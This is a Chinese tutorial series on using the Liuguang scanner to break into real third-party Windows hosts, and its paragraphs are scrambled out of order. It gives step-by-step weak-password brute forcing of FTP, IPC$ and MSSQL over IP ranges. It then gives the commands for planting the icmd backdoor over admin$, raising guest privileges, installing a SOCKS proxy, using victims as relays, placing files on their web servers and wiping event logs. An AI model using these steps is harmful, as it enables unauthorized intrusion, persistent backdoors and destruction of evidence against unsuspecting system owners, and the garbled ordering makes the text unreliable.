流光使用教程

2000提供的功能。而且流光FOR 2K 要求你的操作系统得是NT/2000，否则流光启动会失败！
什么是IPC：
IPC是指"InterProcess Communications",准确的说是ipc$，是默认的在系统启动时的admin共享。
IPC$是Windows NT/2K中特有的远程网络登陆功能，它的特点是在同一时间内，两个IP之间只允许建立一个连接.注意，你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功.可不可以通过IPC$暴力破解密码？当然可以 ！ 不过，是不是太笨了点 …
一个扫描软件、许多新人在用流光的时候不知道如何下手，小榕论坛来讨论的也多是“如何添加用户”这样的初级问题 ：），就抽了点时间写这个简单的教程,希望让新手快速入门。我个人认为流光的破解可分为5大部分：
一、POP3/FTP/…探测
4、加入用户名：我们要破解的是一堆用户名，所以要加入用户名的列表文件！我们就加入流光目录下的 Name.dic ：）右键单击刚才添加的主机： → 编辑 → 从列表中添加 → Name.dic → 打开
然后会有“用户已存在列表中”的提示，我们选中“不再提示” → 确定 。如下图：
关于字典的问题：流光可以使用字典方案来探测，当然你也可以生成字典，有的新手在作练习的时候不知道怎么做，你也可以用记事本生成，每行输入一个密码，存盘后将扩展名改称.DIC，流光就认出来了：）如果你连扩展名都不会改 ：（ 那……
只要是学习、谁都会遇到困难，我也是问题多多，还得向小榕、EKIN讨教，欢迎大家多交流 ：）
2、首次启动流光，会看到注册的画面，具体操作请参考本人第一篇教程。我们在主页面上可以有几种方法来通过IPC.探测获得管理的权限。这里我们要作的是得到一台跳板，那么就可以用命中率高的办法来探测了（测试一堆IP来得到弱口令）。
在主界面选择 探测→探测POP3/FTP/NT/SQL主机选项，或者直接按Ctrl+R。
8、做个SOCK5代理玩玩，用在QQ上不错喔：
执行我们copy 过去的sock -install，net start skserver 看看用在QQ上的效果：）
是不是没有看清上面的步骤呢？下面是我telnet 上去后所有的命令：）
9、还能做成其他的么 ？
当然了，只要你有时间，并且愿意做，我曾经偷偷的把自己的主页放到人家的server上，速度快、空间无限，嘿嘿 ：）
探测 → 简单模式探测！
探测中…
6、探测完毕，也看到结果了，流光会问我们是否查看入侵检测报告，不想看可以选否。 报告的画面
7、如果要探测的是一个用户名，就需要添加字典、或者密码方案。方法是：右键单击解码字典或方案 → 编辑 → 添加 → 选择一个密码档即可。
以上就是流光的一次简单的探测了，事实上这些功能只能算是流光的2.5版的功能，流光2001增加的IPC/SQL/高级扫描
假如首页文件是default.htm并且在c:\interpub\wwwroot，这样:copy default.htm \\ip\c$\interpub\wwwroot
7、其实黑人家是很低级并且没意思的：（，我们最好是物有所有，作成跳板吧，今后干活方便点：）
执行我们copy 过去的ntlm.exe ，取消验正。在给自己留个后门，比如提升guest的权限，或者其它的后门工具，这类东西多了自己选吧，看你对这个已经很熟悉了，相信你看流光的HELP就会很快的学会其它的使用方法的。
关于用户名的问题：有人觉得自己加入的用户名不一定存在，如果不存在岂不是白费了力气？这点你大可以放心，流光会进行验证的。而且现在注册的用户入数之多，想个没有的名字都难，不信你随便敲个试试。
15、黑了他 ！
开个dos prompt 执行如下命令，本次用的例子如下图。
1、 net use file://对方ip/ipc$ "密码" /user:"用户名" || 建立远程连接
2、 copy icmd.exe file://对方ip/admin$ || admin$是对方的winnt目录 ：） 这里文件多。
NWLink ：存在被SNIFFER截获数据的危险。
AppleTalk (ADSP)：存在被SNIFFER截获数据的危险
anyan Vines ：存在被SNIFFER截获数据的危险.在Internet上，95％以上的SQL Server 采用的都是IP Sockets协议，流光探测的就是这个协议默认的1433端口
10、点“选项” ：为了加快弱口令扫描速度，这里的两个我们可以全部取消，比如下面的那个，如果对方禁止列出用户了，我想对于一个网管来说，弱口令可能性也是微乎其微。
11、探测中……
12、有密码了：）
13、又出现了查看报告的窗口，看看 ：）
14、有远程主机的管理密码了，我们剩下的就是想办法控制它了，有什么好办法么？ ：）有的是 ！自己看看工具－菜单下的IIS远程命令:)是不是很简单呢，我以后在说，今天还是先练习net 命令吧。
区我神勇刑警捕获弱智黑客一名XXX。在网吧写完：（ 错误之处请赐教。
只要是学习、谁都会遇到困难，我也是问题多多，还得向小榕、EKIN讨教，欢迎大家多交流 ：）
NO.3
今天要写的是流光的SQL探测，顺便说说ipc$补遗和其它的探测手段。
4、探测中……
5、有密码了：） 图psss 1→3
6、下面我们进一部获取管理员的权限。
用SQL 客户端去连接主机，没有装SQL ……………… 没关系，流光自带了连接的工具，以前我一直都是用的天行的工具SQLexec，但现在可以不用它了。
打开菜单 工具 → MSSQL工具 → SQL远程命令看看：）
3、出先了上面的小窗口，输入我们要破解的IP段，我们输入了来看看。图main2我们把“将FrontPage主机自动加入HTTP主机列表取消了”。因为我们只想获得IPC弱口令，这样可以加快扫描的速度 ：）填入IP，选择扫描NT/98主机
4、探测中……
（注意如果你要探测的是流光保留的国内的IP段，会被禁止的，也就是探测的时候信息栏出现"IP保留"的字样）
10、日志清除，断开连接 ：
执行我们copy 过去的cl.exe clear.exe 都可以清除日志，比如clear all ：清除所有的日志。然后在断开连接：net use file://ip/ipc$ /delete 这步我认为是必需的，尤其是在一些有争议的站点上，或者是国内的站点，除非你想让电视上报导XXX地
2、我们要获得SQL 主机的管理权限，那么还用命中率高的办法来探测了（测试一堆IP来得到弱口令）。对一台固定主机的探测等我下期的教程：）在主界面选择 探测→探测POP3/FTP/NT/SQL主机选项，或者直接按Ctrl+R。
3、出先了下面的小窗口，输入我们要破解的IP段，我们输入了来看看。（注意如果你要探测的是流光保留的国内的IP段，会被禁止的，也就是探测的时候信息栏出现“地址保留的信息”）
5、这是扫描到的NT/98主机列表：
6、没有扫描到常用密码：
7、就不要查看报告了 ：…
8、有了不少NT/98的机器了，正式开始IPC$探测：IPC$主机－探测－探测所有IPC$用户列表。
9、注意下面两
个对话框的设置：全选上，我们只要IPC$管理员的弱口令。然后点选项
SQL服务程序支持的网络协议:
Named pipes :使用NT SMB端口来进行通信，存在被SNIFFER截获数据的危险。
IP Sockets :默认状态下开1433端口，可以被扫描器探测，存在被SNIFFER截获数据的危险。
Multi-Protocol ：客户端需要支持NT RPCs，数据加密。
二、IPC探测
三、SQL探测
四、高级扫描
五、其它 …
因为开发时间的原因，上面的探测模式略有不同，所以分成了四个部分，本教程说的是第一个部分的探测。后面的探测模式应该属于流光的高级应用了：）
下面我就简单说一下基本的破解流程：
1、启动流光
2、找个站点，我选的是中华网的主页空间（），探测方式：FTP。
NO.2
今天要写的是流光的IPC探测：
一、目的和任务：
1、用流光的IPC探测获得一台NT主机的管理权限，并将这台主机做成一个跳板/代理。
2、学习IPC探测的相关知识。
二、探测流程：
1、你得有流光，我这里试验用的是流光2001.FOR Win2000 中文版。FOR Win98的不可以。因为IPC连接功能是NT/
7、获得管理权限、增加后门
8、现在我们已经是管理员了：）
以前我们是用at命令来远程运行程序，今天顺便说说流光中自带的“种植者”，看看 工具 → nt/iis工具 → 种植者，我们来用它远程启动icmd这个后门。一分钟后登陆看看
一、目的和任务：
1、用流光的SQL探测获得一台NT主机的管理权限。
2、学习SQL探测的相关知识。
3、IPC$补遗和其它…
二、探测流程：
1、你得有流光，这话不用在说了吧：）
什么是SQL：
SQL：微软开发的数据库，专门用在微软的OS上，功能类似Linux 下的Mysql，晕……，到底谁类似谁啊？有时间 去看看SQL的联机手册，说的很明白。
用户名太多，我们可以用点主机前面的“—”号把用户列表缩起来，如下图：
大家注意名字前面的小框中必须有√要是没有就无法探测了。
5、有了用户名，我们就可以进行探测了，大家会想到怎么不用密码？其实流光有个简单模式的探测，也就是用内置的密码”：“123456”和“用户名”来进行探测，因为这样的密码是使用频率最高的：）当然你可以修改这个简单模式的文件，加入你认为弱智的密码。方法是：单击 工具菜单 → 模式文件设定 → 简单模式探测设置文件 → 加入你要加入的密码 → 把设置文件存盘！下面我们就来看看这一堆名字里面有多少是用“123456”和“自己名字”来作为密码的。